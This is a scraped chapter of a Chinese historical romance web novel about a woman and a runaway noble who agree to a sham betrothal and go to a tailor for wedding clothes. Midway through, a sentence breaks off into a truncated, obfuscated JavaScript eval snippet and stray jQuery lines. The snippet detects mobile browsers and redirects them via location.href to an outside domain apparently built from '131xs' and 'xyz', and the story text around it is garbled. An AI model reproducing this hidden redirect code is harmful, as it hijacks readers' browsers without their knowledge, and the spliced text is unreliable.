默认冷灰
24号文字
方正启体

6. 从汉婚俗

作者:柳鸿雁本书字数:K更新时间:
    打从张家回来,她就晓得会被家里东问西问,不过似出乎意料。


    沈香辞没有找她,反和啜炎织进了正房。她从没见过沈香辞严肃沉重的模样,谈话少说有半刻钟。


    方才在张家,沈香晚抱有赌徒心思。


    幸好,她赌赢了。


    闺房里,严氏陪着她,久久不能平复,“天爷啊,你忒大胆了,这谎都敢撒,当时我在旁边大气不敢喘。”


    一个谎要用千百个谎来圆。


    沈香晚沉吟半晌,道:“这件事不如做实了。”


    严氏点头,“为今之计只好如此,他们若是谈不成,我去劝相公,无论如何定得答应下来。”


    沈香晚抿唇。


    那两个人会谈拢吗?亦是会大打出手?她心里七上八落,便踱步到窗边遥望正房处。


    屋里,啜炎织端坐椅上,看沈香辞在中堂踱来踱去,恰像没头苍蝇乱撞,他忍不住笑出声,“快坐下吧,好歹你妹妹跳出火坑了,天大的好事儿。”


    沈香辞停下步子。


    “殿下,从小您爱玩,做出多少事我都见怪不怪。”他无奈叹气道:“今天我斗胆问您一句话,是您给阿晚出的主意吗?”


    啜炎织微微挑眉,“你怎么不猜是她自己的主意?”


    沈香辞斩钉截铁:“我妹妹不会撒谎!”


    他敛起笑意,“你跟我多少年了?”


    “从十岁那年殿下看中,命属下跟在身边。”沈香辞沉思片刻,才抬头回道:“到今已有十年。”


    不觉间时光荏苒,匆匆十年已过。


    啜炎织仔细打量起沈香辞,而今他已不是当年风华正茂二十岁左右的青年,他老了,人到中年了。


    而啜炎织从仰视到平视沈香辞,也用了十年。沈香辞跟在他身边的年岁最长,在这些属下中他俩感情最是深厚。


    只要他丢个眼色或是一句话,沈香辞都能立刻会意。


    沈香辞脾气秉性最为稳重,忠心耿耿,是以他离家出走时冒出的第一个念头是来渔郡投靠沈家。


    误打误撞结识了他妹妹沈香晚,不晓得是生来和他们有缘分。


    啜炎织道:“虽准许你探亲回家,但这十年中大多日子你和我朝夕相伴,甚少陪伴家人,你比我更清楚,一个人的性情并非一成不变。”


    沈香辞恰像是晓得他话里意思,但还是焦躁不安,“殿下,我知道您身份,我家人不清楚,您把话撂出去,这场事总要个收尾罢。”


    各人心里似明镜亮堂,他知晓沈香辞明白却不敢说,他没顾忌,心里有了盘算。


    “这有何难,我假扮沈家的东床快婿,既帮了你妹妹,更能隐瞒我的身份。”


    从来啜炎织做事随心所欲,但有分寸,这法子虽然莽撞荒唐,不失为一条好计谋。


    啜炎织眸光闪烁,何况此时他真的急需身份做假。


    见沈香辞犹豫不决,他又说,“先捱过了这阵风头,日后再议它事。”


    “只好如此了。”沈香辞又想起一事,正色道:“上京那边飞鹰传书,命我不必回去。在燕幽查探您的踪迹。”


    “先听上京调令,若情报有变,立刻来报。”一提此事,啜炎织一个头两个大。


    从今年三月初旬离家出走,第三日时,上京便派出虎骢军追捕他。


    三个月来他和虎骢军斗智斗勇。


    在雄州一带,先是来一招金蝉脱壳,摆个迷魂阵,让虎骢军误认他进了南国境内。


    等安然无恙又折返燕幽地界,一路隐姓改名至渔郡。


    啜炎织冷笑,想抓他回上京成婚,异想天开。


    他忍受不了这荒诞不堪的陋习。


    最为吃惊讽刺之事,他阿耶是汉人,汉人最是讲究伦理纲常,竟毫无芥蒂。


    竟同皇帝舅舅来逼迫他就范。


    啜炎织骨子里就不服管,最初分庭抗礼,不成。


    后来费尽心机也没能让长辈回心转意,没奈何只得跑出王庭了。


    “大哥,我能进去吗?”门外女子声音轻柔婉转。


    等了一个时辰,还未出来,沈香晚有些急切了,也想知道他们聊得怎样。


    房门大开,啜炎织倚在门边,“说曹操曹操就到。”


    沈香晚不动声色地看了看沈香辞,见无怒色,放下心来,看来两人是谈妥了。


    正房中堂上,一家人围坐着谈事。


    晌午做出的事,这时辰渔郡想来早就传开,谈来谈去,商量出个好法子。


    便是啜炎织做沈香晚半载定亲夫郎,两人当堂立下券约1。


    半年后,再雇乘马车,让她离了渔郡,就说回上京成亲,在上京城中租赁房屋,等过个一二年月。


    回转渔郡,若有人问起就说是成婚后二人性情不和,故此和离。


    此后不嫁人便是。


    沈香晚暗暗欣喜,这主意倒好,免了婚嫁。


    不过是在外逗留两年时光吗,姑且忍耐忍耐。


    继而又说起另一事,定亲宴。


    汉地婚俗中定亲宴请,是菏勒人与渤粟人传来。


    汉地又糅杂了些传统,同异族定亲宴大相径庭。


    本月离下月中旬有三十九天,定亲席和婚服都要赶上日程。


    沈香晚和啜炎织这对“准新人”对此事一知半解。


    只能听沈香辞和严氏过来人的话,偶尔能问几句。


    沈香晚思忖道:“要从男俗还是女俗?”


    两边婚俗大有不同,若同菏勒人定亲成婚。


    须要先定下从哪边,方好做新衣裳拟客单。


    这便是异族定亲的不好,从来菏汉人成婚时,若男或女是菏勒人,从菏勒婚俗。


    衣裳大有讲究,即要避免律法中服饰禁忌,衣裳又要裁剪的精致典雅。


    对此成衣人很是头疼。


    沈香晚晓得两边衣裳不同,并不晓得菏勒婚俗中忌讳和规矩。


    “你会歌舞吗?”啜炎织望着她。


    沈香晚摇头,“此话何意?”


    “若是从我们这边习俗,定亲宴上新人要跳舞。”啜炎织瞧了瞧沈香晚,“从汉俗吧。”


    “如此甚好。”


    沈香晚别说跳舞,就是立即让她去学,一时半会儿也学不成。


    她起身,“既然定下了,去成衣铺吧。”


    绣坊接的罗氏海陵家那桩生意,是大买卖。


    她不止要赶工还要紧着自己事情,一个人腾不出手,不如图个方便,去别家做。


    严氏和沈香辞去凤阁楼定桌,沈香晚和啜炎织到城西衣裳铺子,四人不同路。


    做新衣裳要紧,他们先行一步,日头又毒辣,于是雇辆马车前去。


    沈香晚提裙裾上马凳,右手便被啜炎织扶住,她略感诧异,倒是稳稳进了车厢。


    他是随后进来,沈香晚后背抵着车厢,两人相顾无言。


    外头马夫大喝一声,打马前去。


    该怎么说?沈香晚忐忑不安,方才在中堂人多她是不怕。


    眼下二人独处,却不自在起来。


    “你好大胆。”啜炎织笑着说,并没怪罪意思,“不过为何要找我?”


    沈香晚神色认真,声音极为轻柔,“因为你手段了得,极为厉害。”


    啜炎织漫不经心地“哦”了一声。


    把手捏成拳头抵在唇边,掩盖含笑的嘴角,故意咳嗽几声,罕见地正襟危坐。


    见他不追问,有个事一直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488728|185755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在沈香晚心上,不得其解,“你不是叫宴芝吗?为何在张家说叫罗熔。”


    啜炎织举着右手四根手指,同她道:“我有四个名字,宴芝是小名,罗熔是我的小字,外人称呼我们小字,内人称呼我们小名。”


    原来如此。


    倒是和汉人不同,直呼大名乃是不敬轻蔑之意。


    不过他竟有四个名字,倒是少见,沈香晚也有几个菏勒朋友,他们只取一个名字。


    啜炎织衣容气质,姓氏名字,在菏勒人中应当家财富裕。


    而啜炎织如何晓得她去过上京。


    怕是啜炎织和她同岁,兄长在上京时候肯定多有照拂他。


    况且他从家里逃出,马不停蹄跑来渔郡投奔。


    两人如兄弟般,她大哥定是和啜炎织说起过。


    行路有半个时辰,马车停下不再前行,只听马车布帘外车夫大喊:“到地方了!”


    啜炎织先行下马,沈香晚随后而至,揭开车帘。


    啜炎织伸手过来,沈香晚再三犹豫,缓缓将手搭在掌心。


    在车厢里待得太久,沾地时双脚飘忽,踉跄一下,好在有啜炎织扶住。


    顾着街坊上人多,她暗暗道:“松手。”


    岂料握住手紧了紧,啜炎织附耳低声道:“装得像一点儿。”


    她耳根最为敏感,一吸一呼间的温热扑着,酥麻陌生的触感席卷,沈香晚别过头,“知晓了。”


    进到铺子里,店主人上前,沈香晚说明来意后。


    有一名少女引她先去丈量身材尺寸,那量衣少女笑道:“姑娘,那是你未过门的郎君?长得可真俊俏。”


    沈香晚斟酌道:“还好吧。”


    俊俏?算是俊俏吧?


    他身量高大,放在人群里鹤立鸡群的瞩目。


    容貌并不秀气清俊,是浓眉大眼,行走站立从不规矩,没半点斯文气。


    不过不至惹人厌恶。


    “姑娘找的这个菏勒人且是不错,从前来这儿的,总会因衣裳抱怨。”量衣少女一头说一头比划软尺在她身上。


    这里只有她们两人,沈香晚不避讳问道:“抱怨什么?”


    量衣少女叹气,“新娘新郎商量好好的,从汉婚俗,到这里又吵起来,有一等挑剔的在上面做文章,俱是不服气。”


    她默默听着。


    啜炎织不说旁的,有个长处,坦荡。


    不是小气刁钻的男子,他若不愿意,直晃晃摆在脸上,是爽快人。


    不过片刻丈量完毕,她下楼正见啜炎织和店主人交谈甚欢。


    沈香晚哽住,他到哪里都能交上朋友啊。


    啜炎织见她来到,走上前握住她手,柔声细语道:“累不累?”


    好能装。


    沈香晚抿唇一笑:“你快去吧。”


    桌上有本册子摊开着。


    她看过去,里面绘有各类婚服纹样,先选出中意的,绣娘动工绣纹样。


    啜炎织指着图纹上被朱红勾画纹样,“我选好几个,若你觉得不好看另选,全听你意思,我先上去了。”


    沈香晚敷衍一声,一阵风扫过,啜炎织大步流星上楼,店里小厮匆忙忙赶去,大叫道:“客官等等小的!等等!”


    店主人抚须哈哈笑道:“果是少年心性。”


    她一面翻看册子,勾出另外几种纹样,装出对郎婿上心模样,问店主人:“您和他都聊了些什么?”


    “他问老朽,定亲宴从汉俗随礼都有何物?”店主人笑了笑,“还算有心人。”


    翻册子的手停下一瞬,有些失神,“原来如此。”


    在只是假的罢了,为何要如此认真?


    墨汁不慎落纸上,洇染一片。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)